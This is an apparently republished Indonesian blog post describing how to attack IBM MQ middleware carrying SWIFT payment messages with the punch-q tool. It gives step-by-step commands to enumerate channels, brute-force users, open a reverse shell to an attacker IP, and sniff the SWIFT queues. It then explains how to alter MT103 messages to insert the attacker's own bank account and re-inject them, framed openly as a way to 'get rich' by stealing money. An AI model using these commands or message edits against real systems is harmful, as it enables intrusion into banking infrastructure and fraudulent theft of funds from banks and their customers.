Celah Keamanan IBM MQ Pada Pesan SWIFT - CRUDPRO

Celah Keamanan IBM MQ Pada Pesan SWIFT

Apa itu IBM MQ?

Ini adalah middleware berorientasi pesan. Ini pada dasarnya adalah perekat antara dua perangkat lunak yang dapat berbicara MQ. Contoh: Apa yang ditulis dalam Java dapat bertukar pesan dengan apa yang ditulis dalam C.

Pesannya bisa apa saja (pesan SWIFT) Perangkat lunak Aliansi SWIFT juga menggunakan MQ secara internal. IBM MQ dapat diintegrasikan dengan instans SWIFTMQ.

Dapat dideteksi oleh nessus:

IBM MQ — GUI Klien, MQ Explorer

Saya telah menginstal IBM MQ dan menggunakan port 1414 seperti yang ditunjukkan di bawah ini.

punch-q

https://github.com/sensepost/punch-q

Punch-q adalah utilitas Python kecil yang digunakan untuk bermain dengan instans IBM MQ. Punch q dapat digunakan untuk melakukan tugas terkait keamanan seperti memanipulasi pesan pada antrian MQ IBM untuk memungkinkan proses bisnis dirusak pada lapisan integrasi.

Contoh di bawah ini menargetkan sistem perbankan. Menargetkan antrian pengiriman pesan SWIFT. Anda dapat menggunakan teknik yang sama seperti sistem pesan lainnya.

Pencacahan

Langkah pertama adalah menemukan saluran mana yang dapat diakses oleh pengelola antrian. Cara manajer antrian merespons penyelidikan memungkinkan serangan brute force pada saluran yang tersedia tanpa otentikasi. Ini diimplementasikan dalam sub-perintah saluran temukan dari punch -q.

./run-punchq.sh --host <target-ip> --port <target-port> discover channels

Dapatkan akses

Selanjutnya, kita perlu melihat apakah kita dapat menyimpulkan kredensial yang mungkin berfungsi pada saluran yang ditemukan.

Mungkin ada lebih banyak saluran yang belum ditemukan, tetapi tiga saluran yang kami miliki sejauh ini adalah awal yang baik.

Saluran sering dikonfigurasi untuk digunakan tanpa otentikasi, dan punch-q memeriksa otentikasi selama pencacahan saluran.

./run-punchq.sh --host <target-ip> --port <target-port> discover users -c <CHANNEL NAME>

Dapatkan cangkangnya:

./run-punchq.sh --host <target-ip> --port <target-port> -U <user> -P <password> --channel <channel-name> command reverse --ip <attacker-ip> --port <attacker-port>

Menjadi kaya :)

Seperti disebutkan sebelumnya, IBM MQ dapat diintegrasikan dengan instans SWIFTMQ. Gunakan perintah sub untuk menampilkan antrian pesan itu sendiri. Ada flag -p yang perlu diperbarui ke "MQ. *" Untuk mempersempit antrian menarik yang dapat dieksploitasi.

./run-punchq.sh --host <target-ip> --port <target-port> -U <user> -P <password> --channel <channel-name> show queues -p 'MQ.*'

Anda sekarang dapat mengendus pesan dengan antrian yang valid. Ini dapat dilakukan dengan menggunakan subcommand messagessniff.

./run-punchq.sh --host <target-ip> --port <target-port> -U <user> -P <password> --channel <channel-name> messages sniff --queue MQ.MESSAGE_IN

Seperti yang ditunjukkan di atas, ini adalah pesan SWIFT yang diendus yang berisi transaksi moneter.

Yang dapat Anda lakukan dalam hal ini adalah memanipulasi pesan (menambahkan nomor akun Anda) dan mengirim ulang pesan tersebut.

Ini rekening bank saya, Saya perlu mengumpulkan nomor rekening dan kode SWIFT bank saya.

Selanjutnya, Anda perlu mengedit pesan yang diendus sebagai berikut: Blok 2: Setelah I103, atur kode identifikasi bank (BIC) ke nomor bank. Ini adalah kode SWIFT bank.

Blok 3: Tag 121 memperbarui nomor uuid dengan nomor baru. Hasilkan uuid baru menggunakan perintah berikut:

Terakhir, edit tag blok 3 50K dan 59 dengan nomor akun Anda saat ini. Pesan sekarang telah berubah. Anda dapat menggunakan punch untuk mengirim pesan ke jaringan SWIFT Anda.

./run-punchq.sh --host <target-ip> --port <target-port> -U <user> -P <password> --channel <channel-name> messages push --queue 'MQ.MESSAGE_IN' -f <location of the modified message>

Sekarang Anda perlu menerima sejumlah uang tunai di akun Anda :)

Sumber:https://0xy37.medium.com/attacking-ibm-mq-swift-to-steal-money-fa89e5f3e855